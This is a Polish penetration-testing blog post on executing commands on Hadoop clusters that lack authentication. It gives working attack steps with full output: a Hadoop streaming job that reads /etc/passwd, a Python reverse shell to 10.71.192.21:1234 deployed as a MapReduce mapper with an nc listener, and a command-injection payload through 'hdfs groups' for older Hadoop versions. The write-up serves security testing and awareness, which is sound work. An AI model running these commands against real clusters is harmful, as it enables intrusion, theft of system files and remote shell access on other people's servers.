NFsec Logo

Słonie leżą na betonie, czyli kolejne strzały do Hadoopa

05/10/2017 w Pen Test Brak komentarzy.  (artykuł nr 640, ilość słów: 1369)

W nawiązaniu do przeglądania danych na Hadoopie poprzez “ukryty” URL – /browseDirectory.jsp spróbujmy dzisiaj dostać się do jego serwerów. Podobnie, jak Mesos Hadoop jest frameworkiem do rozproszonego przetwarzania zadań… więc po prostu rozprasza zadania do wykonania na klastrze. W prostym modelu uwierzytelniania bez żadnego filtrowania sieciowego dla wystawionych usług możemy dowolnie wykonać polecenia na węzłach klastra za pomocą zadań MapReduce. Nie musimy nawet potrafić pisać poprawnego kodu w języku Java.

Do demonstracji przykładowego wykonania kodu możemy wykorzystać narzędzie o nazwie Hadoop streaming, które jest dostarczane z każdą dystrybucją Hadoopa. Pozwala ono na tworzenie zadań typu Map/Reduce w dowolnym, wykonywalnym skrypcie jako mapper lub/i reduktor. Odpalmy proste zadanie, które “ukradnie” nam plik /etc/passwd:

agresor@darkstar:~$ hadoop jar /usr/lib/hadoop-mapreduce/hadoop-streaming.jar -input \
/user/agresor/smieci -output /user/agresor/password_tief -mapper "/bin/cat /etc/passwd" \
-reducer NONE

Po przetworzeniu zadania:

packageJobJar: [] [/usr/lib/hadoop-mapreduce/hadoop-streaming.jar] 
/tmp/streamjob996644449454425429.jar tmpDir=null
17/09/18 16:34:14 INFO client.ConfiguredRMFailoverProxyProvider: Failing over to rm4
17/09/18 16:34:15 INFO mapred.FileInputFormat: Total input paths to process : 1
17/09/18 16:34:16 INFO mapreduce.JobSubmitter: number of splits:2
17/09/18 16:34:17 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1505390457415
17/09/18 16:34:18 INFO impl.YarnClientImpl: Submitted application application_1505390457415
17/09/18 16:34:18 INFO mapreduce.Job: The url to track the job:
http://hadoop:8088/proxy/application_1505390457415/
17/09/18 16:34:18 INFO mapreduce.Job: Running job: job_1505390457415
17/09/18 16:34:33 INFO mapreduce.Job: Job job_1505390457415 running in uber mode : false
17/09/18 16:34:33 INFO mapreduce.Job:  map 0% reduce 0%
17/09/18 16:35:02 INFO mapreduce.Job:  map 100% reduce 0%
17/09/18 16:35:04 INFO mapreduce.Job: Job job_1505390457415 completed successfully
17/09/18 16:35:04 INFO mapreduce.Job: Counters: 31
        File System Counters
                FILE: Number of bytes read=0
                FILE: Number of bytes written=247681
                FILE: Number of read operations=0
                FILE: Number of large read operations=0
                FILE: Number of write operations=0
                HDFS: Number of bytes read=205097
                HDFS: Number of bytes written=4186
                HDFS: Number of read operations=10
                HDFS: Number of large read operations=0
                HDFS: Number of write operations=4
        Job Counters
                Killed map tasks=2
                Launched map tasks=4
                Rack-local map tasks=4
                Total time spent by all maps in occupied slots (ms)=98596
                Total time spent by all reduces in occupied slots (ms)=0
                Total time spent by all map tasks (ms)=49298
                Total vcore-seconds taken by all map tasks=49298
                Total megabyte-seconds taken by all map tasks=63101440
        Map-Reduce Framework
                Map input records=1215
                Map output records=80
                Input split bytes=238
                Spilled Records=0
                Failed Shuffles=0
                Merged Map outputs=0
                GC time elapsed (ms)=98
                CPU time spent (ms)=2340
                Physical memory (bytes) snapshot=735612928
                Virtual memory (bytes) snapshot=3436072960
                Total committed heap usage (bytes)=2058092544
        File Input Format Counters
                Bytes Read=204859
        File Output Format Counters
                Bytes Written=4186
17/09/18 16:35:04 INFO streaming.StreamJob: Output directory: /user/agresor/password_tief

Możemy sprawdzić plik z wynikami:

agresor@darkstar:~$ hdfs dfs -ls /user/agresor/password_tief
Found 3 items
-rw-r--r-- 3 agresor agresor     0 2017-09-18 16:35 /user/agresor/password_tief/_SUCCESS
-rw-r--r-- 3 agresor agresor  2093 2017-09-18 16:35 /user/agresor/password_tief/part-00000
-rw-r--r-- 3 agresor agresor  2093 2017-09-18 16:35 /user/agresor/password_tief/part-00001
agresor@darkstar:~$ hdfs dfs -cat /user/agresor/password_tief/part-00000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
landscape:x:103:108::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
yarn:x:107:115:Hadoop YARN,,,:/var/lib/hadoop-yarn:/bin/bash
mapred:x:108:116:Hadoop MapReduce,,,:/var/lib/hadoop-mapreduce:/bin/bash
hdfs:x:109:117:Hadoop HDFS,,,:/var/lib/hadoop-hdfs:/bin/bash
hive:x:110:118:Hive User,,,:/var/lib/hive:/bin/false
ntp:x:112:120::/home/ntp:/bin/false
snmp:x:114:121::/var/lib/snmp:/bin/false
postfix:x:117:126::/var/spool/postfix:/bin/false

Zdolność do wykonywania poleceń na klastrze ma kluczowe znaczenie dla atakujących, aby mogli zebrać interesujące ich dane. Jednak wykonywanie tego procesu, za pomocą puszczania każdorazowo zadań nie jest szczytem szybkości. Dlatego dla szybszego zwiadu i prostszej komunikacji użyjemy naszej ulubionej techniki, czyli powłoki zwrotnej (ang. reverse shell):

#!/usr/bin/env python

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.71.192.21",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Zanim uruchomimy ten prosty skrypt na klastrze musimy na serwerze o adresie IP 10.71.192.21 nastawić nasłuch na porcie 1234):

agresor@stardust:~$ nc 10.71.192.21 -l 1234

Czas wrzucić skrypt na HDFS oraz uruchomić zadanie, które go odpali:

agresor@darkstar:~$ hadoop jar /usr/lib/hadoop-mapreduce/hadoop-streaming.jar -input \
/user/agresor/smieci -output /user/agresor/reverse_shell -mapper "./reverse.py" - file \
reverse.py -reducer NONE -background

packageJobJar: [reverse.py] [/usr/lib/hadoop-mapreduce/hadoop-streaming.jar]
/tmp/streamjob6674867598964482762.jar tmpDir=null
17/09/19 13:57:56 INFO client.ConfiguredRMFailoverProxyProvider: Failing over to rm4
17/09/19 13:57:57 INFO mapred.FileInputFormat: Total input paths to process : 1
17/09/19 13:57:57 INFO mapreduce.JobSubmitter: number of splits:2
17/09/19 13:57:57 INFO mapreduce.JobSubmitter: Submitting tokens for job: job_1505390457415
17/09/19 13:57:57 INFO impl.YarnClientImpl: Submitted application application_1505390457415
17/09/19 13:57:58 INFO mapreduce.Job: The url to track the job:
http://hadoop:8088/proxy/application_1505390457415/
17/09/19 13:57:58 INFO streaming.StreamJob: Job is running in background.
17/09/19 13:57:58 INFO streaming.StreamJob: Output directory: /user/agresor/reverse_shell

Jak już zadanie zostanie przydzielone konkretnemu serwerowi (ze względu na rozproszoną naturę tego systemu nie jest możliwe sterowanie, na którym serwerze wyląduje nasz skrypt) powinniśmy zauważyć aktywność na naszym serwerze nasłuchującym. Tym samym jesteśmy w stanie wykonywać polecenia na serwerze klastra Hadoop:

agresor@stardust:~$ nc 10.71.192.21 -l 1234
/bin/sh: 0: can't access tty; job control turned off
$ uname -a
Linux hadoop1.lan 4.4.0-45-generic #66~14.04.1-Ubuntu SMP Wed Oct 19 15:05:38 UTC

Inna, ciekawa podatność również związana z wykonywaniem poleceń kryje się za wersjami 2.6.x < 2.6.5 oraz 2.7.x < 2.7.3 (szczegóły). Jeśli klaster posiada ustawioną opcję hadoop.security.group.mapping na wartość:

<property>
 <name>hadoop.security.group.mapping</name>
 <value>org.apache.hadoop.security.ShellBasedUnixGroupsMapping</value>
</property>

w pliku core-site.xml (nie jest to standardowe ustawienie) to istnieje możliwość wykonania poleceń jako użytkownik hdfs. Luka polega na tym, że polecenie zwracające grupy do których należy dany użytkownik, nie filtruje parametru w postaci nazwy użytkownika i przekazuje go w pierwotnie wprowadzonej postaci do polecenia: bash -c:

agresor@darkstar:~$ hdfs groups '$(ping 127.0.0.1)'
agresor@darkstar:~$ ps aux | grep 'ping 12'
...
hdfs  6227  0.0  0.0  15484  764 ?  S  13:24  0:00 bash -c id -gn $(ping 127.0.0.1)
hdfs  6228  0.0  0.0  14732  868 ?  S  13:24  0:00 ping 127.0.0.1
...

Jako użytkownik hdfs jesteśmy w stanie uzyskać dostęp do całego rozproszonego systemu plików, a także do powłoki na serwerze typu NameNode. Błąd ten został naprawiony 2 sierpnia 2016 r.

Więcej informacji: Hadoop Attack Library, Hadoop Safari

Kategorie K a t e g o r i e : Pen Test

Tagi T a g i : , , ,

Komentowanie tego wpisu jest zablokowane.